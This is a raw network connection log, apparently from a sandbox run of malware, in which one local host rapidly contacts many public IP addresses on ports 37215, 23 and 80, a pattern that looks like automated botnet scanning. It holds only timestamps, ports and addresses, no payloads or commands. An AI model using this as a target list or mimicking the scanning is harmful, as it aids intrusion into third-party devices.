Oct 17, 2024 02:19:44.367993116 CEST	43928	80	192.168.2.14	9.97.245.184
Oct 17, 2024 02:19:44.368091106 CEST	37215	39548	156.68.97.235	192.168.2.14
Oct 17, 2024 02:19:44.368299007 CEST	39548	37215	192.168.2.14	156.68.97.235
Oct 17, 2024 02:19:44.368299961 CEST	43928	80	192.168.2.14	9.97.245.184
Oct 17, 2024 02:19:44.368299961 CEST	43928	80	192.168.2.14	9.97.245.184
Oct 17, 2024 02:19:44.368760109 CEST	39548	37215	192.168.2.14	156.68.97.235
Oct 17, 2024 02:19:44.369669914 CEST	43936	80	192.168.2.14	9.97.245.184
Oct 17, 2024 02:19:44.370085001 CEST	37215	47224	197.192.132.151	192.168.2.14
Oct 17, 2024 02:19:44.370955944 CEST	80	45522	135.110.177.174	192.168.2.14
Oct 17, 2024 02:19:44.371009111 CEST	45522	80	192.168.2.14	135.110.177.174
Oct 17, 2024 02:19:44.371063948 CEST	45522	80	192.168.2.14	135.110.177.174
Oct 17, 2024 02:19:44.371063948 CEST	45522	80	192.168.2.14	135.110.177.174
Oct 17, 2024 02:19:44.371155977 CEST	37215	47418	197.192.132.151	192.168.2.14
Oct 17, 2024 02:19:44.371201038 CEST	47418	37215	192.168.2.14	197.192.132.151
Oct 17, 2024 02:19:44.371258020 CEST	47418	37215	192.168.2.14	197.192.132.151
Oct 17, 2024 02:19:44.371793985 CEST	45528	80	192.168.2.14	135.110.177.174
Oct 17, 2024 02:19:44.373083115 CEST	80	43928	9.97.245.184	192.168.2.14
Oct 17, 2024 02:19:44.373533010 CEST	37215	39548	156.68.97.235	192.168.2.14
Oct 17, 2024 02:19:44.373605967 CEST	39548	37215	192.168.2.14	156.68.97.235
Oct 17, 2024 02:19:44.374401093 CEST	80	43936	9.97.245.184	192.168.2.14
Oct 17, 2024 02:19:44.374464989 CEST	43936	80	192.168.2.14	9.97.245.184
Oct 17, 2024 02:19:44.374533892 CEST	43936	80	192.168.2.14	9.97.245.184
Oct 17, 2024 02:19:44.375907898 CEST	80	45522	135.110.177.174	192.168.2.14
Oct 17, 2024 02:19:44.376492023 CEST	37215	47418	197.192.132.151	192.168.2.14
Oct 17, 2024 02:19:44.376534939 CEST	47418	37215	192.168.2.14	197.192.132.151
Oct 17, 2024 02:19:44.376610041 CEST	80	45528	135.110.177.174	192.168.2.14
Oct 17, 2024 02:19:44.376702070 CEST	45528	80	192.168.2.14	135.110.177.174
Oct 17, 2024 02:19:44.376702070 CEST	45528	80	192.168.2.14	135.110.177.174
Oct 17, 2024 02:19:44.379554033 CEST	80	43936	9.97.245.184	192.168.2.14
Oct 17, 2024 02:19:44.379601955 CEST	43936	80	192.168.2.14	9.97.245.184
Oct 17, 2024 02:19:44.381668091 CEST	80	45528	135.110.177.174	192.168.2.14
Oct 17, 2024 02:19:44.381881952 CEST	45528	80	192.168.2.14	135.110.177.174
Oct 17, 2024 02:19:44.387733936 CEST	38682	37215	192.168.2.14	197.8.130.27
Oct 17, 2024 02:19:44.387753010 CEST	56810	37215	192.168.2.14	197.133.19.220
Oct 17, 2024 02:19:44.387763977 CEST	48180	37215	192.168.2.14	156.154.137.128
Oct 17, 2024 02:19:44.387780905 CEST	59988	80	192.168.2.14	198.90.180.54
Oct 17, 2024 02:19:44.392503977 CEST	37215	38682	197.8.130.27	192.168.2.14
Oct 17, 2024 02:19:44.392563105 CEST	37215	56810	197.133.19.220	192.168.2.14
Oct 17, 2024 02:19:44.392565966 CEST	38682	37215	192.168.2.14	197.8.130.27
Oct 17, 2024 02:19:44.392575979 CEST	37215	48180	156.154.137.128	192.168.2.14
Oct 17, 2024 02:19:44.392605066 CEST	80	59988	198.90.180.54	192.168.2.14
Oct 17, 2024 02:19:44.392612934 CEST	56810	37215	192.168.2.14	197.133.19.220
Oct 17, 2024 02:19:44.392638922 CEST	48180	37215	192.168.2.14	156.154.137.128
Oct 17, 2024 02:19:44.392749071 CEST	59988	80	192.168.2.14	198.90.180.54
Oct 17, 2024 02:19:44.392749071 CEST	59988	80	192.168.2.14	198.90.180.54
Oct 17, 2024 02:19:44.392843008 CEST	38682	37215	192.168.2.14	197.8.130.27
Oct 17, 2024 02:19:44.393076897 CEST	56810	37215	192.168.2.14	197.133.19.220
Oct 17, 2024 02:19:44.393076897 CEST	56810	37215	192.168.2.14	197.133.19.220
Oct 17, 2024 02:19:44.393779039 CEST	57004	37215	192.168.2.14	197.133.19.220
Oct 17, 2024 02:19:44.394753933 CEST	48180	37215	192.168.2.14	156.154.137.128
Oct 17, 2024 02:19:44.394753933 CEST	48180	37215	192.168.2.14	156.154.137.128
Oct 17, 2024 02:19:44.395515919 CEST	48374	37215	192.168.2.14	156.154.137.128
Oct 17, 2024 02:19:44.397854090 CEST	37215	56810	197.133.19.220	192.168.2.14
Oct 17, 2024 02:19:44.397980928 CEST	37215	38682	197.8.130.27	192.168.2.14
Oct 17, 2024 02:19:44.398036957 CEST	38682	37215	192.168.2.14	197.8.130.27
Oct 17, 2024 02:19:44.398236990 CEST	80	59988	198.90.180.54	192.168.2.14
Oct 17, 2024 02:19:44.398289919 CEST	59988	80	192.168.2.14	198.90.180.54
Oct 17, 2024 02:19:44.398526907 CEST	37215	57004	197.133.19.220	192.168.2.14
Oct 17, 2024 02:19:44.398627996 CEST	57004	37215	192.168.2.14	197.133.19.220
Oct 17, 2024 02:19:44.398627996 CEST	57004	37215	192.168.2.14	197.133.19.220
Oct 17, 2024 02:19:44.399547100 CEST	37215	48180	156.154.137.128	192.168.2.14
Oct 17, 2024 02:19:44.400331020 CEST	37215	48374	156.154.137.128	192.168.2.14
Oct 17, 2024 02:19:44.400374889 CEST	48374	37215	192.168.2.14	156.154.137.128
Oct 17, 2024 02:19:44.400413036 CEST	48374	37215	192.168.2.14	156.154.137.128
Oct 17, 2024 02:19:44.403692961 CEST	37215	57004	197.133.19.220	192.168.2.14
Oct 17, 2024 02:19:44.403836012 CEST	57004	37215	192.168.2.14	197.133.19.220
Oct 17, 2024 02:19:44.405334949 CEST	37215	48374	156.154.137.128	192.168.2.14
Oct 17, 2024 02:19:44.405380964 CEST	48374	37215	192.168.2.14	156.154.137.128
Oct 17, 2024 02:19:44.407133102 CEST	37215	39356	156.68.97.235	192.168.2.14
Oct 17, 2024 02:19:44.411101103 CEST	37215	47224	197.192.132.151	192.168.2.14
Oct 17, 2024 02:19:44.415132046 CEST	80	43928	9.97.245.184	192.168.2.14
Oct 17, 2024 02:19:44.419064045 CEST	80	45522	135.110.177.174	192.168.2.14
Oct 17, 2024 02:19:44.419739962 CEST	37682	37215	192.168.2.14	197.94.217.178
Oct 17, 2024 02:19:44.419739962 CEST	57658	37215	192.168.2.14	156.174.124.75
Oct 17, 2024 02:19:44.419743061 CEST	46408	37215	192.168.2.14	41.96.201.111
Oct 17, 2024 02:19:44.419775963 CEST	52368	37215	192.168.2.14	197.227.122.154
Oct 17, 2024 02:19:44.419783115 CEST	46346	37215	192.168.2.14	197.185.101.11
Oct 17, 2024 02:19:44.419784069 CEST	59836	37215	192.168.2.14	197.226.27.20
Oct 17, 2024 02:19:44.424513102 CEST	37215	37682	197.94.217.178	192.168.2.14
Oct 17, 2024 02:19:44.424525023 CEST	37215	57658	156.174.124.75	192.168.2.14
Oct 17, 2024 02:19:44.424536943 CEST	37215	46408	41.96.201.111	192.168.2.14
Oct 17, 2024 02:19:44.424556971 CEST	37215	52368	197.227.122.154	192.168.2.14
Oct 17, 2024 02:19:44.424572945 CEST	37215	46346	197.185.101.11	192.168.2.14
Oct 17, 2024 02:19:44.424582958 CEST	37215	59836	197.226.27.20	192.168.2.14
Oct 17, 2024 02:19:44.424585104 CEST	37682	37215	192.168.2.14	197.94.217.178
Oct 17, 2024 02:19:44.424585104 CEST	57658	37215	192.168.2.14	156.174.124.75
Oct 17, 2024 02:19:44.424590111 CEST	46408	37215	192.168.2.14	41.96.201.111
Oct 17, 2024 02:19:44.424597979 CEST	52368	37215	192.168.2.14	197.227.122.154
Oct 17, 2024 02:19:44.424628973 CEST	59836	37215	192.168.2.14	197.226.27.20
Oct 17, 2024 02:19:44.424629927 CEST	46346	37215	192.168.2.14	197.185.101.11
Oct 17, 2024 02:19:44.424721003 CEST	52368	37215	192.168.2.14	197.227.122.154
Oct 17, 2024 02:19:44.424722910 CEST	59836	37215	192.168.2.14	197.226.27.20
Oct 17, 2024 02:19:44.424725056 CEST	57658	37215	192.168.2.14	156.174.124.75
Oct 17, 2024 02:19:44.424731970 CEST	46346	37215	192.168.2.14	197.185.101.11
Oct 17, 2024 02:19:44.424740076 CEST	37682	37215	192.168.2.14	197.94.217.178
Oct 17, 2024 02:19:44.424740076 CEST	46408	37215	192.168.2.14	41.96.201.111
Oct 17, 2024 02:19:44.429688931 CEST	37215	37682	197.94.217.178	192.168.2.14
Oct 17, 2024 02:19:44.429749966 CEST	37682	37215	192.168.2.14	197.94.217.178
Oct 17, 2024 02:19:44.429956913 CEST	37215	57658	156.174.124.75	192.168.2.14
Oct 17, 2024 02:19:44.430006027 CEST	57658	37215	192.168.2.14	156.174.124.75
Oct 17, 2024 02:19:44.430160999 CEST	37215	46408	41.96.201.111	192.168.2.14
Oct 17, 2024 02:19:44.430212975 CEST	46408	37215	192.168.2.14	41.96.201.111
Oct 17, 2024 02:19:44.430339098 CEST	37215	52368	197.227.122.154	192.168.2.14
Oct 17, 2024 02:19:44.430383921 CEST	52368	37215	192.168.2.14	197.227.122.154
Oct 17, 2024 02:19:44.430464029 CEST	37215	46346	197.185.101.11	192.168.2.14
Oct 17, 2024 02:19:44.430557966 CEST	37215	59836	197.226.27.20	192.168.2.14
Oct 17, 2024 02:19:44.430627108 CEST	46346	37215	192.168.2.14	197.185.101.11
Oct 17, 2024 02:19:44.430627108 CEST	59836	37215	192.168.2.14	197.226.27.20
Oct 17, 2024 02:19:44.443120003 CEST	37215	56810	197.133.19.220	192.168.2.14
Oct 17, 2024 02:19:44.443133116 CEST	37215	48180	156.154.137.128	192.168.2.14
Oct 17, 2024 02:19:44.451749086 CEST	58950	37215	192.168.2.14	197.216.228.207
Oct 17, 2024 02:19:44.451750040 CEST	51582	37215	192.168.2.14	197.153.89.197
Oct 17, 2024 02:19:44.451750040 CEST	51726	37215	192.168.2.14	41.146.94.96
Oct 17, 2024 02:19:44.451750040 CEST	59762	37215	192.168.2.14	197.182.193.48
Oct 17, 2024 02:19:44.451761007 CEST	35938	37215	192.168.2.14	197.130.159.152
Oct 17, 2024 02:19:44.451771021 CEST	37834	37215	192.168.2.14	156.42.148.140
Oct 17, 2024 02:19:44.451788902 CEST	35708	37215	192.168.2.14	156.158.100.93
Oct 17, 2024 02:19:44.451842070 CEST	34230	37215	192.168.2.14	197.151.100.246
Oct 17, 2024 02:19:44.456595898 CEST	37215	58950	197.216.228.207	192.168.2.14
Oct 17, 2024 02:19:44.456609011 CEST	37215	51726	41.146.94.96	192.168.2.14
Oct 17, 2024 02:19:44.456620932 CEST	37215	51582	197.153.89.197	192.168.2.14
Oct 17, 2024 02:19:44.456655979 CEST	51726	37215	192.168.2.14	41.146.94.96
Oct 17, 2024 02:19:44.456660032 CEST	58950	37215	192.168.2.14	197.216.228.207
Oct 17, 2024 02:19:44.456743956 CEST	51726	37215	192.168.2.14	41.146.94.96
Oct 17, 2024 02:19:44.456796885 CEST	58950	37215	192.168.2.14	197.216.228.207
Oct 17, 2024 02:19:44.456796885 CEST	51582	37215	192.168.2.14	197.153.89.197
Oct 17, 2024 02:19:44.457007885 CEST	51582	37215	192.168.2.14	197.153.89.197
Oct 17, 2024 02:19:44.467148066 CEST	37215	51582	197.153.89.197	192.168.2.14
Oct 17, 2024 02:19:44.467159033 CEST	37215	51726	41.146.94.96	192.168.2.14
Oct 17, 2024 02:19:44.467170000 CEST	37215	58950	197.216.228.207	192.168.2.14
Oct 17, 2024 02:19:44.467262030 CEST	37215	51726	41.146.94.96	192.168.2.14
Oct 17, 2024 02:19:44.467315912 CEST	51726	37215	192.168.2.14	41.146.94.96
Oct 17, 2024 02:19:44.467567921 CEST	37215	58950	197.216.228.207	192.168.2.14
Oct 17, 2024 02:19:44.467667103 CEST	58950	37215	192.168.2.14	197.216.228.207
Oct 17, 2024 02:19:44.467680931 CEST	37215	51582	197.153.89.197	192.168.2.14
Oct 17, 2024 02:19:44.467765093 CEST	51582	37215	192.168.2.14	197.153.89.197
Oct 17, 2024 02:19:44.483750105 CEST	51688	37215	192.168.2.14	156.148.175.0
Oct 17, 2024 02:19:44.483752012 CEST	59744	37215	192.168.2.14	41.240.174.103
Oct 17, 2024 02:19:44.483771086 CEST	55002	37215	192.168.2.14	156.222.139.12
Oct 17, 2024 02:19:44.483787060 CEST	58960	37215	192.168.2.14	41.249.70.37
Oct 17, 2024 02:19:44.483787060 CEST	58154	37215	192.168.2.14	197.167.213.135
Oct 17, 2024 02:19:44.483805895 CEST	39574	37215	192.168.2.14	41.23.92.152
Oct 17, 2024 02:19:44.488660097 CEST	37215	51688	156.148.175.0	192.168.2.14
Oct 17, 2024 02:19:44.488672018 CEST	37215	59744	41.240.174.103	192.168.2.14
Oct 17, 2024 02:19:44.488682032 CEST	37215	55002	156.222.139.12	192.168.2.14
Oct 17, 2024 02:19:44.488717079 CEST	51688	37215	192.168.2.14	156.148.175.0
Oct 17, 2024 02:19:44.488740921 CEST	59744	37215	192.168.2.14	41.240.174.103
Oct 17, 2024 02:19:44.488789082 CEST	51688	37215	192.168.2.14	156.148.175.0
Oct 17, 2024 02:19:44.488792896 CEST	55002	37215	192.168.2.14	156.222.139.12
Oct 17, 2024 02:19:44.488850117 CEST	59744	37215	192.168.2.14	41.240.174.103
Oct 17, 2024 02:19:44.489017010 CEST	55002	37215	192.168.2.14	156.222.139.12
Oct 17, 2024 02:19:44.493935108 CEST	37215	51688	156.148.175.0	192.168.2.14
Oct 17, 2024 02:19:44.494036913 CEST	51688	37215	192.168.2.14	156.148.175.0
Oct 17, 2024 02:19:44.494110107 CEST	37215	59744	41.240.174.103	192.168.2.14
Oct 17, 2024 02:19:44.494165897 CEST	59744	37215	192.168.2.14	41.240.174.103
Oct 17, 2024 02:19:44.494199038 CEST	37215	55002	156.222.139.12	192.168.2.14
Oct 17, 2024 02:19:44.494254112 CEST	55002	37215	192.168.2.14	156.222.139.12
Oct 17, 2024 02:19:44.515732050 CEST	48638	37215	192.168.2.14	41.108.18.107
Oct 17, 2024 02:19:44.515738010 CEST	51920	37215	192.168.2.14	156.36.78.206
Oct 17, 2024 02:19:44.515743017 CEST	54524	37215	192.168.2.14	41.4.146.210
Oct 17, 2024 02:19:44.515743017 CEST	57072	37215	192.168.2.14	41.252.236.8
Oct 17, 2024 02:19:44.515744925 CEST	52450	37215	192.168.2.14	156.107.220.177
Oct 17, 2024 02:19:44.515772104 CEST	48092	37215	192.168.2.14	41.233.212.51
Oct 17, 2024 02:19:44.515772104 CEST	55194	37215	192.168.2.14	156.35.219.54
Oct 17, 2024 02:19:44.515789986 CEST	48318	37215	192.168.2.14	156.187.4.61
Oct 17, 2024 02:19:44.515789032 CEST	35172	37215	192.168.2.14	41.70.217.138
Oct 17, 2024 02:19:44.520683050 CEST	37215	54524	41.4.146.210	192.168.2.14
Oct 17, 2024 02:19:44.520695925 CEST	37215	51920	156.36.78.206	192.168.2.14
Oct 17, 2024 02:19:44.520706892 CEST	37215	48638	41.108.18.107	192.168.2.14
Oct 17, 2024 02:19:44.520761967 CEST	51920	37215	192.168.2.14	156.36.78.206
Oct 17, 2024 02:19:44.520762920 CEST	54524	37215	192.168.2.14	41.4.146.210
Oct 17, 2024 02:19:44.520765066 CEST	48638	37215	192.168.2.14	41.108.18.107
Oct 17, 2024 02:19:44.520823002 CEST	51920	37215	192.168.2.14	156.36.78.206
Oct 17, 2024 02:19:44.520829916 CEST	54524	37215	192.168.2.14	41.4.146.210
Oct 17, 2024 02:19:44.520833969 CEST	48638	37215	192.168.2.14	41.108.18.107
Oct 17, 2024 02:19:44.525290012 CEST	37215	52572	197.130.19.23	192.168.2.14
Oct 17, 2024 02:19:44.525347948 CEST	52572	37215	192.168.2.14	197.130.19.23
Oct 17, 2024 02:19:44.525970936 CEST	37215	54524	41.4.146.210	192.168.2.14
Oct 17, 2024 02:19:44.526052952 CEST	54524	37215	192.168.2.14	41.4.146.210
Oct 17, 2024 02:19:44.526197910 CEST	37215	51920	156.36.78.206	192.168.2.14
Oct 17, 2024 02:19:44.526283026 CEST	37215	48638	41.108.18.107	192.168.2.14
Oct 17, 2024 02:19:44.526305914 CEST	51920	37215	192.168.2.14	156.36.78.206
Oct 17, 2024 02:19:44.526326895 CEST	48638	37215	192.168.2.14	41.108.18.107
Oct 17, 2024 02:19:44.547736883 CEST	60532	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:44.547741890 CEST	54692	37215	192.168.2.14	41.157.56.29
Oct 17, 2024 02:19:44.547741890 CEST	48864	80	192.168.2.14	59.213.205.136
Oct 17, 2024 02:19:44.547741890 CEST	34730	37215	192.168.2.14	197.78.47.248
Oct 17, 2024 02:19:44.547768116 CEST	50292	37215	192.168.2.14	197.167.89.226
Oct 17, 2024 02:19:44.547768116 CEST	51656	37215	192.168.2.14	41.140.60.225
Oct 17, 2024 02:19:44.547787905 CEST	60162	37215	192.168.2.14	156.196.4.63
Oct 17, 2024 02:19:44.547795057 CEST	46330	37215	192.168.2.14	156.136.27.184
Oct 17, 2024 02:19:44.547868967 CEST	57716	37215	192.168.2.14	197.111.212.103
Oct 17, 2024 02:19:44.552711010 CEST	23	60532	38.76.53.229	192.168.2.14
Oct 17, 2024 02:19:44.552725077 CEST	37215	54692	41.157.56.29	192.168.2.14
Oct 17, 2024 02:19:44.552746058 CEST	80	48864	59.213.205.136	192.168.2.14
Oct 17, 2024 02:19:44.552757025 CEST	37215	34730	197.78.47.248	192.168.2.14
Oct 17, 2024 02:19:44.552767038 CEST	60532	23	192.168.2.14	38.76.53.229
Oct 17, 2024 02:19:44.552795887 CEST	54692	37215	192.168.2.14	41.157.56.29
Oct 17, 2024 02:19:44.552795887 CEST	48864	80	192.168.2.14	59.213.205.136
Oct 17, 2024 02:19:44.552797079 CEST	34730	37215	192.168.2.14	197.78.47.248
Oct 17, 2024 02:19:44.552911043 CEST	48864	80	192.168.2.14	59.213.205.136
Oct 17, 2024 02:19:44.552911043 CEST	20632	23	192.168.2.14	107.77.223.202
Oct 17, 2024 02:19:44.552911043 CEST	20632	23	192.168.2.14	168.19.254.73
Oct 17, 2024 02:19:44.552918911 CEST	20632	23	192.168.2.14	125.54.53.143
Oct 17, 2024 02:19:44.552931070 CEST	20632	23	192.168.2.14	133.178.243.165
Oct 17, 2024 02:19:44.552939892 CEST	20632	23	192.168.2.14	102.223.73.234
Oct 17, 2024 02:19:44.552938938 CEST	20632	23	192.168.2.14	189.113.108.96
Oct 17, 2024 02:19:44.552953005 CEST	20632	23	192.168.2.14	4.174.146.195
Oct 17, 2024 02:19:44.552958012 CEST	20632	23	192.168.2.14	98.141.102.37
Oct 17, 2024 02:19:44.552958965 CEST	20632	23	192.168.2.14	43.110.252.223
Oct 17, 2024 02:19:44.552958012 CEST	20632	23	192.168.2.14	80.142.71.146
Oct 17, 2024 02:19:44.552958965 CEST	20632	23	192.168.2.14	159.170.130.30
Oct 17, 2024 02:19:44.552962065 CEST	20632	23	192.168.2.14	72.32.127.20
Oct 17, 2024 02:19:44.552975893 CEST	20632	23	192.168.2.14	40.203.10.68
Oct 17, 2024 02:19:44.552975893 CEST	20632	23	192.168.2.14	83.152.47.41
Oct 17, 2024 02:19:44.552994967 CEST	20632	23	192.168.2.14	73.171.224.158
Oct 17, 2024 02:19:44.552994967 CEST	20632	23	192.168.2.14	13.86.190.51
Oct 17, 2024 02:19:44.552995920 CEST	20632	23	192.168.2.14	170.98.187.51
Oct 17, 2024 02:19:44.552997112 CEST	20632	23	192.168.2.14	174.26.237.98
Oct 17, 2024 02:19:44.553002119 CEST	20632	23	192.168.2.14	8.216.203.240
Oct 17, 2024 02:19:44.553003073 CEST	20632	23	192.168.2.14	38.34.10.94
Oct 17, 2024 02:19:44.553005934 CEST	20632	23	192.168.2.14	124.249.74.76
Oct 17, 2024 02:19:44.553021908 CEST	20632	23	192.168.2.14	217.195.32.163
Oct 17, 2024 02:19:44.553024054 CEST	20632	23	192.168.2.14	31.66.174.37
Oct 17, 2024 02:19:44.553024054 CEST	20632	23	192.168.2.14	186.152.149.228
Oct 17, 2024 02:19:44.553035975 CEST	20632	23	192.168.2.14	65.7.128.62
Oct 17, 2024 02:19:44.553040028 CEST	20632	23	192.168.2.14	76.27.185.182
Oct 17, 2024 02:19:44.553046942 CEST	20632	23	192.168.2.14	82.71.45.38
Oct 17, 2024 02:19:44.553047895 CEST	20632	23	192.168.2.14	140.242.160.43
Oct 17, 2024 02:19:44.553046942 CEST	20632	23	192.168.2.14	39.247.106.95
Oct 17, 2024 02:19:44.553052902 CEST	20632	23	192.168.2.14	108.88.93.205
Oct 17, 2024 02:19:44.553056002 CEST	20632	23	192.168.2.14	79.52.9.214
Oct 17, 2024 02:19:44.553062916 CEST	20632	23	192.168.2.14	206.187.240.64
Oct 17, 2024 02:19:44.553077936 CEST	20632	23	192.168.2.14	139.199.194.144
Oct 17, 2024 02:19:44.553081989 CEST	20632	23	192.168.2.14	137.108.196.122
Oct 17, 2024 02:19:44.553102970 CEST	20632	23	192.168.2.14	158.18.232.157
Oct 17, 2024 02:19:44.553102970 CEST	20632	23	192.168.2.14	178.118.255.66
Oct 17, 2024 02:19:44.553102970 CEST	20632	23	192.168.2.14	195.224.25.216
Oct 17, 2024 02:19:44.553102970 CEST	20632	23	192.168.2.14	170.249.177.44
Oct 17, 2024 02:19:44.553109884 CEST	20632	23	192.168.2.14	41.200.207.124
Oct 17, 2024 02:19:44.553129911 CEST	20632	23	192.168.2.14	82.21.189.173
Oct 17, 2024 02:19:44.553132057 CEST	20632	23	192.168.2.14	75.67.32.8
Oct 17, 2024 02:19:44.553132057 CEST	20632	23	192.168.2.14	206.201.94.123
Oct 17, 2024 02:19:44.553133965 CEST	20632	23	192.168.2.14	163.31.122.38
Oct 17, 2024 02:19:44.553138018 CEST	20632	23	192.168.2.14	210.180.225.25
Oct 17, 2024 02:19:44.553144932 CEST	20632	23	192.168.2.14	119.96.202.200
Oct 17, 2024 02:19:44.553157091 CEST	20632	23	192.168.2.14	218.219.43.178
Oct 17, 2024 02:19:44.553157091 CEST	20632	23	192.168.2.14	58.30.216.210
Oct 17, 2024 02:19:44.553165913 CEST	20632	23	192.168.2.14	211.71.189.93
Oct 17, 2024 02:19:44.553168058 CEST	20632	23	192.168.2.14	145.58.32.86
Oct 17, 2024 02:19:44.553168058 CEST	20632	23	192.168.2.14	61.182.93.117
Oct 17, 2024 02:19:44.553177118 CEST	20632	23	192.168.2.14	149.146.156.221
Oct 17, 2024 02:19:44.553196907 CEST	20632	23	192.168.2.14	17.70.34.239
Oct 17, 2024 02:19:44.553198099 CEST	20632	23	192.168.2.14	88.178.208.184
Oct 17, 2024 02:19:44.553201914 CEST	20632	23	192.168.2.14	32.65.135.90
Oct 17, 2024 02:19:44.553201914 CEST	20632	23	192.168.2.14	197.154.105.16
Oct 17, 2024 02:19:44.553204060 CEST	20632	23	192.168.2.14	106.61.232.213
Oct 17, 2024 02:19:44.553205013 CEST	20632	23	192.168.2.14	115.161.235.25
Oct 17, 2024 02:19:44.553217888 CEST	20632	23	192.168.2.14	2.235.80.86
Oct 17, 2024 02:19:44.553217888 CEST	20632	23	192.168.2.14	161.47.190.204
Oct 17, 2024 02:19:44.553217888 CEST	20632	23	192.168.2.14	20.254.188.195
Oct 17, 2024 02:19:44.553232908 CEST	20632	23	192.168.2.14	142.108.20.170
Oct 17, 2024 02:19:44.553235054 CEST	20632	23	192.168.2.14	37.75.176.183
Oct 17, 2024 02:19:44.553235054 CEST	54692	37215	192.168.2.14	41.157.56.29
Oct 17, 2024 02:19:44.553242922 CEST	20632	23	192.168.2.14	32.76.42.157
Oct 17, 2024 02:19:44.553251982 CEST	20632	23	192.168.2.14	143.57.251.149
Oct 17, 2024 02:19:44.553252935 CEST	34730	37215	192.168.2.14	197.78.47.248
Oct 17, 2024 02:19:44.553256035 CEST	20632	23	192.168.2.14	173.208.57.183
Oct 17, 2024 02:19:44.553257942 CEST	20632	23	192.168.2.14	184.23.118.38
Oct 17, 2024 02:19:44.553256035 CEST	20632	23	192.168.2.14	93.59.97.196
Oct 17, 2024 02:19:44.553256035 CEST	20632	23	192.168.2.14	4.222.107.43
Oct 17, 2024 02:19:44.553265095 CEST	20632	23	192.168.2.14	212.187.75.177
Oct 17, 2024 02:19:44.553270102 CEST	20632	23	192.168.2.14	144.15.176.87
Oct 17, 2024 02:19:44.553270102 CEST	20632	23	192.168.2.14	12.111.239.201
Oct 17, 2024 02:19:44.553275108 CEST	20632	23	192.168.2.14	32.122.236.207
Oct 17, 2024 02:19:44.553275108 CEST	20632	23	192.168.2.14	203.77.118.183
Oct 17, 2024 02:19:44.553282022 CEST	20632	23	192.168.2.14	145.23.124.151
Oct 17, 2024 02:19:44.553292036 CEST	20632	23	192.168.2.14	163.31.46.37
Oct 17, 2024 02:19:44.553294897 CEST	20632	23	192.168.2.14	178.215.234.177
Oct 17, 2024 02:19:44.553297997 CEST	20632	23	192.168.2.14	83.48.68.15
Oct 17, 2024 02:19:44.553303957 CEST	20632	23	192.168.2.14	156.188.139.177
Oct 17, 2024 02:19:44.553313971 CEST	20632	23	192.168.2.14	39.188.49.104
Oct 17, 2024 02:19:44.553313971 CEST	20632	23	192.168.2.14	137.22.25.25
Oct 17, 2024 02:19:44.553324938 CEST	20632	23	192.168.2.14	102.195.116.116
Oct 17, 2024 02:19:44.553333044 CEST	20632	23	192.168.2.14	1.9.154.28
Oct 17, 2024 02:19:44.553335905 CEST	20632	23	192.168.2.14	146.58.7.52
Oct 17, 2024 02:19:44.553354979 CEST	20632	23	192.168.2.14	169.155.99.42
Oct 17, 2024 02:19:44.553354979 CEST	20632	23	192.168.2.14	162.35.221.16
Oct 17, 2024 02:19:44.553358078 CEST	20632	23	192.168.2.14	153.51.202.18
Oct 17, 2024 02:19:44.553369999 CEST	20632	23	192.168.2.14	76.113.36.241
Oct 17, 2024 02:19:44.553375959 CEST	20632	23	192.168.2.14	53.34.51.61
Oct 17, 2024 02:19:44.553378105 CEST	20632	23	192.168.2.14	152.214.244.125
Oct 17, 2024 02:19:44.553378105 CEST	20632	23	192.168.2.14	36.9.234.10
Oct 17, 2024 02:19:44.553378105 CEST	20632	23	192.168.2.14	178.241.158.145
Oct 17, 2024 02:19:44.553378105 CEST	20632	23	192.168.2.14	197.197.10.245
Oct 17, 2024 02:19:44.553380966 CEST	20632	23	192.168.2.14	37.51.117.208
Oct 17, 2024 02:19:44.553389072 CEST	20632	23	192.168.2.14	201.129.159.217
Oct 17, 2024 02:19:44.553390026 CEST	20632	23	192.168.2.14	203.106.112.127
Oct 17, 2024 02:19:44.553400040 CEST	20632	23	192.168.2.14	69.8.49.196
Oct 17, 2024 02:19:44.553407907 CEST	20632	23	192.168.2.14	59.90.1.27
Oct 17, 2024 02:19:44.553416014 CEST	20632	23	192.168.2.14	97.212.217.253
Oct 17, 2024 02:19:44.553421974 CEST	20632	23	192.168.2.14	85.245.201.204
Oct 17, 2024 02:19:44.553428888 CEST	20632	23	192.168.2.14	151.33.56.171
Oct 17, 2024 02:19:44.553430080 CEST	20632	23	192.168.2.14	80.192.145.237
Oct 17, 2024 02:19:44.553430080 CEST	20632	23	192.168.2.14	198.148.26.78
Oct 17, 2024 02:19:44.553433895 CEST	20632	23	192.168.2.14	174.48.214.16
Oct 17, 2024 02:19:44.553436995 CEST	20632	23	192.168.2.14	50.195.86.28
Oct 17, 2024 02:19:44.553436995 CEST	20632	23	192.168.2.14	12.1.163.61
Oct 17, 2024 02:19:44.553436995 CEST	20632	23	192.168.2.14	83.189.115.216
Oct 17, 2024 02:19:44.553443909 CEST	20632	23	192.168.2.14	65.184.62.17
Oct 17, 2024 02:19:44.553471088 CEST	20632	23	192.168.2.14	111.231.54.83
Oct 17, 2024 02:19:44.553472042 CEST	20632	23	192.168.2.14	71.130.57.243
Oct 17, 2024 02:19:44.553477049 CEST	20632	23	192.168.2.14	14.58.2.213
Oct 17, 2024 02:19:44.553477049 CEST	20632	23	192.168.2.14	76.93.113.134
Oct 17, 2024 02:19:44.553477049 CEST	20632	23	192.168.2.14	173.52.220.226
Oct 17, 2024 02:19:44.553478956 CEST	20632	23	192.168.2.14	94.52.72.10
Oct 17, 2024 02:19:44.553482056 CEST	20632	23	192.168.2.14	113.12.146.161
Oct 17, 2024 02:19:44.553495884 CEST	20632	23	192.168.2.14	89.190.31.115
Oct 17, 2024 02:19:44.553507090 CEST	20632	23	192.168.2.14	219.7.61.74
Oct 17, 2024 02:19:44.553508043 CEST	20632	23	192.168.2.14	74.218.38.57
Oct 17, 2024 02:19:44.553508043 CEST	20632	23	192.168.2.14	139.201.114.23
Oct 17, 2024 02:19:44.553519964 CEST	20632	23	192.168.2.14	96.74.117.205
Oct 17, 2024 02:19:44.553524971 CEST	20632	23	192.168.2.14	51.130.143.97
Oct 17, 2024 02:19:44.553529024 CEST	20632	23	192.168.2.14	93.58.109.94
Oct 17, 2024 02:19:44.553546906 CEST	20632	23	192.168.2.14	165.131.117.88
Oct 17, 2024 02:19:44.553546906 CEST	20632	23	192.168.2.14	54.65.79.83
Oct 17, 2024 02:19:44.553555965 CEST	20632	23	192.168.2.14	125.213.24.65
Oct 17, 2024 02:19:44.553556919 CEST	20632	23	192.168.2.14	203.192.246.144
Oct 17, 2024 02:19:44.553556919 CEST	20632	23	192.168.2.14	202.79.230.53
